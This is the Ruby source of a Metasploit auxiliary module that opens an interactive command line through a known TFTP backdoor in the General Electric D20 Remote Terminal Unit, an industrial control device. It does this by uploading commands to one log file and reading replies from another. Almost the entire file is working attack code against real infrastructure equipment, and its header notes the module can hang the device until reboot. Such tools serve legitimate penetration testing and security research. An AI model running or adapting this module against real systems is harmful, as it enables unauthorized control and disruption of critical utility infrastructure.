metasploit-framework/unstable-modules/auxiliary/d20tftpbd.rb

169 lines
5.4 KiB
Ruby

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
##
# This module implements a CLI backdoor present in the General Electric D20 Remote Terminal
# Unit (RTU). This backdoor may be present in other General Electric Canada control systems.
# Use with care. Interactive commands may cause the TFTP server to hang indefinitely, blocking
# the backdoor until the system is rebooted.
##
require 'msf/core'
require 'rex/ui/text/shell'
require 'rex/proto/tftp'
class Metasploit3 < Msf::Auxiliary
include Rex::Ui::Text
include Rex::Proto::TFTP
include Msf::Exploit::Remote::Udp
def initialize(info = {})
super(update_info(info,
'Name' => 'General Electric D20 Backdoor (Async TFTP Command Line)',
'Description' => %q{
The General Electric D20ME and possibly other units (D200?) feature
a backdoor command line. Commands are issued to MONITOR:command.log,
and responses are read from MONITOR:response.log.
},
'Author' => [ 'K. Reid Wightman <wightman@digitalbond.com>' ],
'License' => MSF_LICENSE,
'Version' => '$Revision$',
'DisclosureDate' => 'Jan 19 2012',
))
register_options(
[
Opt::RPORT(69),
Opt::RHOST('192.168.255.1'),
OptString.new('REMOTE_CMD_FILE', [true, "The remote filename used to issue commands", "MONITOR:command.log"]),
OptString.new('REMOTE_RESP_FILE', [true, "The remote filename used to gather response", "MONITOR:response.log"])
], self.class)
end
def setup
@rhost = datastore['RHOST']
@rport = datastore['RPORT'] || 69
@lport = datastore['LPORT'] || (1025 + rand(0xffff - 1025))
@lhost = datastore['LHOST'] || "0.0.0.0"
@rcmdpath = datastore['REMOTE_CMD_FILE']
@rresppath = datastore['REMOTE_RESP_FILE']
end
def rtarget(ip=nil)
if (ip or rhost) and rport
[(ip || rhost),rport].map {|x| x.to_s}.join(":") << " "
elsif (ip or rhost)
"#{rhost} "
else
""
end
end
def cleanup
if @tftp_client and @tftp_client.respond_to? :complete
while not @tftp_client.complete
select(nil, nil, nil, 1)
vprint_status "Cleaning up the TFTP client ports and threads."
@tftp_client.stop
end
end
end
def interactive
stop = false
print_status("Entering interactive mode")
print_status("Type 'help' for remote help")
print_status("Type 'quit' to quit")
until stop == true
print ("D20MEA> ")
tmp = gets.chomp.to_s
if "quit" == tmp or "exit" == tmp
stop = true
next
elsif tmp == ""
next
else
cmddata = "DATA:" + tmp
cmddata += [13,10,00].pack("c*")
@tftp_client = Rex::Proto::TFTP::Client.new(
"LocalHost" => @lhost,
"LocalPort" => @lport,
"PeerHost" => @rhost,
"PeerPort" => @rport,
"LocalFile" => cmddata,
"RemoteFile" => @rcmdpath,
"Action" => :upload
)
@tftp_client.send_write_request { |msg| print_tftp_status(msg) }
@tftp_client.threads do |thread|
thread.join
end
while not @tftp_client.complete
select(nil, nil, nil, 0.1)
end # wait until transfer finishes
# wait a second for the response file to be generated
# this is a 25Mhz 68030 we're working with, here.
# might need to wait longer for some commands to complete...
sleep(1)
@tftp_client = Rex::Proto::TFTP::Client.new(
"LocalHost" => @lhost,
"LocalPort" => @lport,
"PeerHost" => @rhost,
"PeerPort" => @rport,
"LocalFile" => @lresppath,
"RemoteFile" => @rresppath,
"Action" => :download
)
@tftp_client.send_read_request { |msg| print_tftp_status(msg) }
while not @tftp_client.complete
select(nil, nil, nil, 0.1)
end
fh = @tftp_client.recv_tempfile
data = File.open(fh,"rb") {|f| f.read f.stat.size} rescue nil
if data
# we need to clean the data a little so it prints nicely
# the d20 always sends a few control characters to clear
# the screen with the output. Chop those off.
if data.size > 26
data = data[0,data.size - 26]
end
# we can also chop off the header information, users
# don't need to see the welcome message with every command
if data.size > 77
data = data[77, data.size]
end
print data
else
# I should probably re-try the download, after a few
# seconds delay. Might be able to catch this in the
# request response somehow, but things work well enough
# for now
end
#client = Client.new(datastore['RHOST'], datastore['RPORT'])
#client.send_binary('/tmp/m68kcmd', 'MONITOR:command.log')
end
end
end
def print_tftp_status(msg)
case msg
when /Aborting/, /errors.$/
print_error [rtarget,msg].join
when /^WRQ accepted/, /^Sending/, /complete!$/
print_good [rtarget,msg].join
else
vprint_status [rtarget,msg].join
end
end
def run
self.interactive()
end
end